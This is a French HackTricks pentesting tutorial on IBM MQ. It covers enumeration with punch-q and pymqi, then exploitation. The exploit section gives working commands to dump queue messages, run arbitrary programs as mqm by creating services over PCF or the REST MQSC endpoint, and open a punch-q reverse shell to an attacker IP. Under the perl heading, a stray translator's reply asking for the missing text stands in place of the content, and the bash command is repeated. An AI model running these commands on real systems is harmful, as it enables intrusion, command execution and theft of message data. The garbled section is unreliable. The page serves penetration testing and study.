1414 - Pentesting IBM MQ
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
IBM MQ est une technologie IBM pour gérer des queues de messages. Comme les autres technologies de broker de messages, elle est dédiée à recevoir, stocker, traiter et classer l’information entre producteurs et consommateurs.
Par défaut, elle expose le port TCP IBM MQ 1414. Parfois, une API REST HTTP peut être exposée sur le port 9443. Des métriques (Prometheus) peuvent aussi être accessibles via le port TCP 9157.
Le port TCP 1414 d’IBM MQ peut être utilisé pour manipuler des messages, des queues, des channels, … mais aussi pour contrôler l’instance.
IBM fournit une grande documentation technique disponible sur https://www.ibm.com/docs/en/ibm-mq.
Outils
Un outil suggéré pour une exploitation facile est punch-q, avec une utilisation via Docker. L’outil utilise activement la bibliothèque Python pymqi.
Pour une approche plus manuelle, utilisez la bibliothèque Python pymqi. Les IBM MQ dependencies sont nécessaires.
Installation de pymqi
IBM MQ dependencies doivent être installées et chargées :
- Créez un compte (IBMid) sur https://login.ibm.com/.
- Téléchargez les librairies IBM MQ depuis https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Pour Linux x86_64 il s’agit de 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Décompressez (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Exécutez
sudo ./mqlicense.shpour accepter les termes de la licence.
Si vous êtes sous Kali Linux, modifiez le fichier
mqlicense.sh: supprimez/commentez les lignes suivantes (entre les lignes 105-110) :if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Installez ces paquets :
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Ensuite, ajoutez temporairement les fichiers
.soà LD :export LD_LIBRARY_PATH=/opt/mqm/lib64, avant d’exécuter d’autres outils dépendants de ces bibliothèques.
Ensuite, vous pouvez cloner le projet pymqi : il contient des extraits de code intéressants, des constantes, … Ou vous pouvez installer directement la bibliothèque avec : pip install pymqi.
Utilisation de punch-q
Avec Docker
Il suffit d’utiliser : sudo docker run --rm -ti leonjza/punch-q.
Sans Docker
Clonez le projet punch-q puis suivez le readme pour l’installation (pip install -r requirements.txt && python3 setup.py install).
Ensuite, il peut être utilisé avec la commande punch-q.
Énumération
Vous pouvez tenter d’énumérer le nom du Queue Manager, les utilisateurs, les channels et les queues avec punch-q ou pymqi.
Si TCP/1414 est filtré ou si la cible n’expose que le serveur web embarqué, vérifiez également TCP/9443. Les versions récentes d’IBM MQ exposent la IBM MQ Console / REST API sur ce port par défaut lorsque mqweb est activé, et le endpoint REST administratif peut exécuter des commandes MQSC arbitraires si vous disposez d’identifiants valides.
Queue Manager
Parfois, il n’y a aucune protection empêchant d’obtenir le nom du Queue Manager :
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Canaux
punch-q utilise une wordlist interne (modifiable) pour trouver les channels existants. Exemple d’utilisation :
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Il arrive que certaines instances IBM MQ acceptent des requêtes MQ unauthenticated, donc --username / --password n’est pas nécessaire. Bien sûr, les droits d’accès peuvent aussi varier.
Dès que nous obtenons un nom de channel (ici : DEV.ADMIN.SVRCONN), nous pouvons énumérer tous les autres channels.
L’énumération peut être réalisée avec cet extrait de code code/examples/dis_channels.py provenant de pymqi :
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Mais punch-q intègre aussi cette partie (avec plus d’informations !). Il peut être lancé avec :
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Beaucoup de cas « il se connecte mais renvoie 2035 » sont causés par des règles CHLAUTH ou par des permissions OAM manquantes sur les objets ciblés.
Si vous avez déjà un accès administratif MQSC, MATCH(RUNCHECK) est le moyen le plus rapide de comprendre quelle règle sera appliquée à une connexion distante :
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
Via le REST admin endpoint sur 9443, la même vérification peut être effectuée à distance :
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Si vous disposez de suffisamment de droits pour utiliser PCF à distance, IBM expose MQCMD_INQUIRE_CHLAUTH_RECS, qui renvoie les enregistrements d’authentification de canal et leurs mappages vers MCAUSER. Ceci est utile pour confirmer si un canal associe des utilisateurs distants à un compte local plus privilégié avant d’essayer l’accès aux messages, la création d’objets ou l’abus de services.
Files d’attente
Il existe un extrait de code avec pymqi (dis_queues.py) mais punch-q permet de récupérer davantage d’informations sur les files d’attente :
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Vous pouvez cibler des queue(s)/channel(s) pour sniff out / dump des messages depuis ceux-ci (opération non destructive). Exemples :
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
N’hésitez pas à itérer sur toutes les files d’attente identifiées.
Exécution de code
Quelques détails avant de continuer : IBM MQ peut être contrôlé de plusieurs façons : MQSC, PCF, Control Command. Certaines listes générales peuvent être trouvées dans IBM MQ documentation. PCF (Programmable Command Formats) est ce sur quoi nous nous concentrons pour interagir à distance avec l’instance. punch-q et de plus pymqi sont basés sur des interactions PCF.
Vous pouvez trouver une liste de commandes PCF :
Une commande intéressante est
MQCMD_CREATE_SERVICEet sa documentation est disponible here. Elle prend comme argument unStartCommandpointant vers un programme local sur l’instance (exemple :/bin/sh).Il y a aussi un avertissement dans la documentation : “Attention : Cette commande permet à un utilisateur d’exécuter une commande arbitraire avec l’autorité mqm. Si des droits sont accordés pour utiliser cette commande, un utilisateur malveillant ou imprudent pourrait définir un service qui endommage vos systèmes ou vos données, par exemple en supprimant des fichiers essentiels.”
Note : toujours selon la documentation IBM MQ (Administration Reference), il existe également un point de terminaison HTTP à
/admin/action/qmgr/{qmgrName}/mqscpour exécuter l’équivalent MQSC pour la création de service (DEFINE SERVICE). Cet aspect n’est pas encore traité ici.
Si des identifiants pour MQ Console / REST API sont disponibles, vous pouvez souvent accéder aux mêmes primitives administratives via HTTPS sur 9443 sans utiliser les bibliothèques clientes MQ. IBM documente /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc comme un point de terminaison qui accepte des commandes plain-text MQSC ou JSON.
La création/suppression de service avec PCF pour l’exécution de programmes à distance peut être effectuée par punch-q:
Exemple 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
Dans les logs d’IBM MQ, vous pouvez lire que la commande a été exécutée avec succès :
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Vous pouvez également énumérer les programmes existants sur la machine (ici /bin/doesnotexist … n’existe pas) :
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Notez que le lancement du programme est asynchrone. Vous avez donc besoin d’un deuxième élément pour tirer parti de l’exploit (listener for reverse shell, création de fichier sur un service différent, data exfiltration via le réseau …)
La même technique peut être pilotée depuis la REST API:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Ceci est particulièrement utile lors d’évaluations où :
9443est accessible mais1414est limité à une plage d’adresses source plus restreinte- L’équipe cible gère IBM MQ principalement via la console web et a oublié de durcir les rôles REST
- Vous souhaitez éviter d’installer localement les bibliothèques clients IBM MQ et n’avez besoin que d’une administration au niveau MQSC
Exemple 2
Pour un reverse shell simple, punch-q propose également deux payloads de reverse shell :
- Un avec bash
- Un avec perl
Bien sûr, vous pouvez créer un payload personnalisé avec la commande execute.
Pour bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Je n’ai pas le contenu de la section “For perl:”. Pouvez-vous coller ici le texte exact (y compris le markdown/code) que vous voulez que je traduise en français ? Je préserverai la syntaxe markdown et le code.
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
PCF personnalisé
Vous pouvez consulter la documentation IBM MQ et utiliser directement la bibliothèque python pymqi pour tester des commandes PCF spécifiques non implémentées dans punch-q.
Exemple :
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Si vous ne trouvez pas les noms des constantes, vous pouvez consulter la IBM MQ documentation.
_Exemple pour
MQCMD_REFRESH_CLUSTER(Décimal = 73). Il nécessite le paramètreMQCA_CLUSTER_NAME(Décimal = 2029) qui peut être_(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Environnement de test
Si vous voulez tester le comportement d’IBM MQ et les exploits, vous pouvez configurer un environnement local basé sur Docker:
- Avoir un compte sur ibm.com et cloud.ibm.com.
- Créer un IBM MQ containerisé avec:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Ici, le nom du queue manager a été défini sur MYQUEUEMGR (variable MQ_QMGR_NAME).
Les images développeur récentes 9.4.x ont modifié le comportement par défaut:
adminetappne sont créés que si vous définissez leurs mots de passe- IBM indique que
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDsont obsolètes depuis9.4.0.0 - La méthode recommandée est d’injecter des secrets nommés
mqAdminPasswordetmqAppPassword
Pour un labo local rapide avec Podman, vous pouvez créer les deux utilisateurs comme ceci:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
Avec la configuration développeur par défaut :
DEV.ADMIN.SVRCONNn’autorise que l’utilisateuradminDEV.APP.SVRCONNest le canal d’application et l’utilisateurappest l’identité attenduehttps://<target>:9443/ibmmq/consoleexpose la console web lorsque le serveur web intégré est activé
Vous devriez avoir IBM MQ opérationnel avec ses ports exposés :
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Les anciennes images Docker d’IBM MQ se trouvent sur : https://hub.docker.com/r/ibmcom/mq/.
Références
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


